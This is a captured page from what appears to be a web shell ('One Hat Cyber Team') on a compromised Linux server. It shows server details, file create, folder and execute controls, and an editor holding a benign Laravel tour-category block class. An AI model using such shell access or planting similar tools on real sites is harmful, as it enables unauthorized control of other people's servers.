⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.1
Server IP:
185.238.29.86
Server:
Linux server2 6.8.12-6-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-6 (2024-12-19T19:05Z) x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.31
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
var
/
www
/
work
/
modules
/
Tour
/
Blocks
/
Edit File: BoxCategoryTour.php
<?php namespace Modules\Tour\Blocks; use Modules\Template\Blocks\BaseBlock; use Modules\Media\Helpers\FileHelper; use Modules\Tour\Models\TourCategory; class BoxCategoryTour extends BaseBlock { public function getOptions(){ return [ 'settings' => [ [ 'id' => 'title', 'type' => 'input', 'inputType' => 'text', 'label' => __('Title') ], [ 'id' => 'desc', 'type' => 'input', 'inputType' => 'text', 'label' => __('Desc') ], [ 'id' => 'list_item', 'type' => 'listItem', 'label' => __('List Item(s)'), 'title_field' => 'title', 'settings' => [ [ 'id' => 'category_id', 'type' => 'select2', 'label' => __('Select Category'), 'select2' => [ 'ajax' => [ 'url' => route('tour.admin.category.category.getForSelect2'), 'dataType' => 'json' ], 'width' => '100%', 'allowClear' => 'true', 'placeholder' => __('-- Select --') ], 'pre_selected'=>route('tour.admin.category.category.getForSelect2',['pre_selected'=>1]) ], [ 'id' => 'image_id', 'type' => 'uploader', 'label' => __('Image Background') ], ] ], ], 'category'=>__("Service Tour") ]; } public function getName() { return __('Tour: Box Category'); } public function content($model = []) { if(!empty($model['list_item'])){ $ids = collect($model['list_item'])->pluck('category_id'); $categories = TourCategory::query()->whereIn("id",$ids)->where('status','publish')->get(); $model['categories'] = $categories; } return view('Tour::frontend.blocks.box-category-tour.index', $model); } public function contentAPI($model = []){ if(!empty($model['list_item'])){ foreach ( $model['list_item'] as &$item ){ $item['image_id_url'] = FileHelper::url($item['image_id'], 'full'); } } return $model; } }
Simpan